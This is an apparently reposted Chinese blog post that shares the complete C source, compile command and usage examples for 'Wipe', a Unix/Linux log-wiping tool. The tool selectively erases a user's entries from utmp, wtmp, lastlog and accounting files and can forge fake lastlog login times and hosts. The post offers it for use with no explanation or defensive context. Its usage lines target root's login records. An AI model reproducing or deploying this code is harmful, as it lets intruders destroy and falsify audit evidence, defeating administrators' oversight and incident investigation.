2

Linux下的擦除工具

 7 months ago
source link: https://bajie.dev/posts/20240129-wipe_linux/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Linux下的擦除工具

2024-01-29 4 分钟阅读

Linux下的日志擦除软件,无解释珍藏:

gcc -O3  -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c

wipe u root #w 命令擦掉在线的root
wipe w root #last 命令擦掉root
wipe l root #lastlog 命令擦掉root登录记录

源码如下:

/*
 * Wipe v1.00.
 *
 * Written by The Crawler.
 *
 * Selectively wipe system logs.
 *
 * Usage: wipe [l,u,w] username
 * ex:    wipe l user;wipe u user;wipe w user
 *
 * Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x,
 *      Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX.
 * compile with  -DHAVE_LASTLOG_H -DNO_ACCT */

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#ifndef NO_ACCT
#include <sys/acct.h>
#endif
#include <utmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <pwd.h>
#include <time.h>
#include <stdlib.h>

#ifdef HAVE_LASTLOG_H
#include <lastlog.h>
#endif

#ifdef HAVE_UTMPX
#include <utmpx.h>
#endif

/*
 * Try to use the paths out of the include files. 
 * But if we can't find any, revert to the defaults.
 */
#ifndef UTMP_FILE
#ifdef _PATH_UTMP
#define UTMP_FILE	_PATH_UTMP
#else
#define UTMP_FILE	"/var/adm/utmp"
#endif
#endif 

#ifndef WTMP_FILE
#ifdef _PATH_WTMP
#define WTMP_FILE	_PATH_WTMP
#else
#define WTMP_FILE	"/var/adm/wtmp"
#endif
#endif

#ifndef LASTLOG_FILE
#ifdef _PATH_LASTLOG
#define LASTLOG_FILE	_PATH_LASTLOG
#else
#define LASTLOG_FILE	"/var/adm/lastlog"
#endif
#endif

#ifndef ACCT_FILE
#define ACCT_FILE	"/var/adm/pacct"
#endif

#ifdef HAVE_UTMPX

#ifndef UTMPX_FILE
#define UTMPX_FILE	"/var/adm/utmpx"
#endif

#ifndef WTMPX_FILE
#define WTMPX_FILE	"/var/adm/wtmpx"
#endif

#endif /* HAVE_UTMPX */

#define BUFFSIZE	8192


/* 
 * This function will copy the src file to the dst file.
 */
void
copy_file(char *src, char *dst)
{
	int 	fd1, fd2;
	int	n;
	char	buf[BUFFSIZE];

	if ( (fd1 = open(src, O_RDONLY)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s during copy.\n", src);
		return;
	}

	if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) {
		fprintf(stderr, "ERROR: Creating %s during copy.\n", dst);
		return;
	}
	
	while ( (n = read(fd1, buf, BUFFSIZE)) > 0)
		if (write(fd2, buf, n) != n) {
			fprintf(stderr, "ERROR: Write error during copy.\n");
			return;
		}
		
	if (n < 0) {
		fprintf(stderr, "ERROR: Read error during copy.\n");
		return;
	}

	close(fd1);
	close(fd2);
}


/*
 * UTMP editing.
 */
void
wipe_utmp(char *who, char *line)
{
	int 		fd1;
	struct utmp	ut;
	
	printf("Patching %s .... ", UTMP_FILE);
	fflush(stdout);

	/*
	 * Open the utmp file.
	 */
	if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE);
		return;
	}
	
	/*
	 * Copy utmp file excluding relevent entries. 
	 */	
	while ( read(fd1, &ut, sizeof(ut)) > 0) 
		if ( !strncmp(ut.ut_name, who, strlen(who)) )
			if (!line || (line && 
			  !strncmp(ut.ut_line, line, strlen(line)))) {
				bzero((char *) &ut, sizeof(ut));
				lseek(fd1, (int) -sizeof(ut), SEEK_CUR);
				write(fd1, &ut, sizeof(ut));
			}

	close(fd1);

	printf("Done.\n");
}

/*
 * UTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_utmpx(char *who, char *line)
{
	int 		fd1;
	struct utmpx	utx;

	printf("Patching %s .... ", UTMPX_FILE);
	fflush(stdout);
		
	/*
	 * Open the utmp file and temporary file.
	 */
	if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE);
		return;
	}

	while ( (read(fd1, &utx, sizeof(utx)) ) > 0) 
		if ( !strncmp(utx.ut_name, who, strlen(who)) )
			if (!line || (line && 
			  !strncmp(utx.ut_line, line, strlen(line)))) {
				bzero((char *) &utx, sizeof(utx));
				lseek(fd1, (int) -sizeof(utx), SEEK_CUR);
				write(fd1, &utx, sizeof(utx));
			}

	close(fd1);

	printf("Done.\n");
}
#endif


/*
 * WTMP editing.
 */
void
wipe_wtmp(char *who, char *line)
{
	int		fd1;
	struct utmp	ut;

	printf("Patching %s .... ", WTMP_FILE);
	fflush(stdout);
	
        /*
	 * Open the wtmp file and temporary file.
	 */
	if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
		return;
	}

	/*
	 * Determine offset of last relevent entry.
	 */
	lseek(fd1, (long) -(sizeof(ut)), SEEK_END);
	while ( (read (fd1, &ut, sizeof(ut))) > 0) {
		if (!strncmp(ut.ut_name, who, strlen(who)))
			if (!line || (line && 
			  !strncmp(ut.ut_line, line, strlen(line)))) {
			  	bzero((char *) &ut, sizeof(ut));
				lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
			  	write(fd1, &ut, sizeof(ut));
			  	break;
			}
		lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
	}

	close(fd1);
	
	printf("Done.\n");
}


/*
 * WTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_wtmpx(char *who, char *line)
{
	int 		fd1;
	struct utmpx	utx;
	
	printf("Patching %s .... ", WTMPX_FILE);
	fflush(stdout);
	
	/*
	 * Open the utmp file and temporary file.
	 */
	if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE);
		return;
	}

	/*
	 * Determine offset of last relevent entry.
	 */
	lseek(fd1, (long) -(sizeof(utx)), SEEK_END);
	while ( (read (fd1, &utx, sizeof(utx))) > 0) {
		if (!strncmp(utx.ut_name, who, strlen(who)))
			if (!line || (line && 
			  !strncmp(utx.ut_line, line, strlen(line)))) {
			  	bzero((char *) &utx, sizeof(utx));
				lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);
			  	write(fd1, &utx, sizeof(utx));
			  	break;
			}
		lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR);
	}

	close(fd1);

	printf("Done.\n");
}
#endif


/*
 * LASTLOG editing.
 */
void
wipe_lastlog(char *who, char *line, char *timestr, char *host)
{
	int		fd1;
	struct lastlog	ll;
	struct passwd	*pwd;
	struct tm	*tm; 
	char		str[4];

	printf("Patching %s .... ", LASTLOG_FILE);
	fflush(stdout);

	tm = (struct tm *) malloc( sizeof(struct tm) );
	
        /*
	 * Open the lastlog file.
	 */
	if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE);
		return;
	}

	if ( (pwd = getpwnam(who)) == NULL) {
		fprintf(stderr, "ERROR: Can't find user in passwd.\n");
		return;
	}
	
	lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0);
	bzero((char *) &ll, sizeof(ll));

	if (line) 
		strncpy(ll.ll_line, line, strlen(line));

	if (timestr) {
		/* YYMMddhhmm */
		if (strlen(timestr) != 10) {
			fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n");
			return;
		}
		
		/*
		 * Extract Times.
		 */
		str[2] = 0;
		str[0] = timestr[0];
		str[1] = timestr[1];
		tm->tm_year = atoi(str);
		
		str[0] = timestr[2];
		str[1] = timestr[3];
		tm->tm_mon = atoi(str) - 1;
		
		str[0] = timestr[4];
		str[1] = timestr[5];
		tm->tm_mday = atoi(str);
		
		str[0] = timestr[6];
		str[1] = timestr[7];
		tm->tm_hour = atoi(str);
		
		str[0] = timestr[8];
		str[1] = timestr[9];
		tm->tm_min = atoi(str);
		tm->tm_sec = 0;
		
		ll.ll_time = mktime(tm);
	}

	if (host)
		strncpy(ll.ll_host, host, sizeof(ll.ll_host));
	

	write(fd1, (char *) &ll, sizeof(ll));

	close(fd1);

	printf("Done.\n");
}


#ifndef NO_ACCT
/*
 * ACCOUNT editing.
 */
void
wipe_acct(char *who, char *line)
{    
	int		fd1, fd2;
	struct acct	ac;
	char		ttyn[50];
	struct passwd   *pwd;
	struct stat	sbuf;
	char		*tmpf;
	
	printf("Patching %s .... ", ACCT_FILE);
	fflush(stdout);

        /*
	 * Open the acct file and temporary file.
	 */
	if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE);
		return;
	}

	/*
	 * Grab a unique temporary filename.
	 */
	tmpf = tmpnam((char *) NULL);

	if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) {
		fprintf(stderr, "ERROR: Opening tmp ACCT file\n");
		return;
	}

	if ( (pwd = getpwnam(who)) == NULL) {
		fprintf(stderr, "ERROR: Can't find user in passwd.\n");
		return;
	}

	/*
	 * Determine tty's device number
	 */
	strcpy(ttyn, "/dev/");
	strcat(ttyn, line);
	if (stat(ttyn, &sbuf) < 0) {
		fprintf(stderr, "ERROR: Determining tty device number.\n");
		return;
	}
	
	while ( read(fd1, &ac, sizeof(ac)) > 0 ) {
		if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) )	
			write(fd2, &ac, sizeof(ac));
	}

	close(fd1);
	close(fd2);
	
	copy_file(tmpf, ACCT_FILE);
	
	if ( unlink(tmpf) < 0 ) {
		fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n");
		return;
	}

	printf("Done.\n");
} 
#endif


void
usage()
{
	printf("USAGE: wipe [ u|w|l|a ] ...options...\n");
	printf("\n");
	printf("UTMP editing:\n");
	printf("    Erase all usernames      :   wipe u [username]\n");
	printf("    Erase one username on tty:   wipe u [username] [tty]\n");
	printf("\n");
	printf("WTMP editing:\n");
	printf("   Erase last entry for user :   wipe w [username]\n");
	printf("   Erase last entry on tty   :   wipe w [username] [tty]\n");
	printf("\n");	
	printf("LASTLOG editing:\n");
	printf("   Blank lastlog for user    :   wipe l [username]\n");
	printf("   Alter lastlog entry       :   wipe l [username] [tty] [time] [host]\n");
	printf("	Where [time] is in the format [YYMMddhhmm]\n");
	printf("\n");
#ifndef NO_ACCT
	printf("ACCT editing:\n");
	printf("   Erase acct entries on tty :   wipe a [username] [tty]\n");
#endif
	exit(1);
}


int
main(int argc, char *argv[])
{
	char	c;
	
	if (argc < 3)
		usage();

	/*
	 * First character of first argument determines which file to edit.
	 */
	c = toupper(argv[1][0]);
	
	/*
	 * UTMP editing.
	 */
	switch (c) {
		/* UTMP */
		case 'U' :
			if (argc == 3)
				wipe_utmp(argv[2], (char *) NULL);
			if (argc ==4)
				wipe_utmp(argv[2], argv[3]);
			
#ifdef HAVE_UTMPX
			if (argc == 3)
				wipe_utmpx(argv[2], (char *) NULL);
			if (argc == 4)
				wipe_utmpx(argv[2], argv[3]);
#endif
			
			break;
		/* WTMP */
		case 'W' :
			if (argc == 3)
				wipe_wtmp(argv[2], (char *) NULL);
			if (argc == 4)
				wipe_wtmp(argv[2], argv[3]);
			
#ifdef HAVE_UTMPX
			if (argc == 3)
				wipe_wtmpx(argv[2], (char *) NULL);
			if (argc == 4)
				wipe_wtmpx(argv[2], argv[3]);
#endif
			
			break;
		/* LASTLOG */
		case 'L' :
			if (argc == 3)
				wipe_lastlog(argv[2], (char *) NULL, 
					(char *) NULL, (char *) NULL);
			if (argc == 4)
				wipe_lastlog(argv[2], argv[3], (char *) NULL,
						(char *) NULL);
			if (argc == 5)
				wipe_lastlog(argv[2], argv[3], argv[4], 
						(char *) NULL);
			if (argc == 6)
				wipe_lastlog(argv[2], argv[3], argv[4], 
						argv[5]);
			break;
#ifndef NO_ACCT
		/* ACCT */
		case 'A' :
			if (argc != 4)
				usage();
			wipe_acct(argv[2], argv[3]);
			break;
#endif
	}

	return(0);
}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK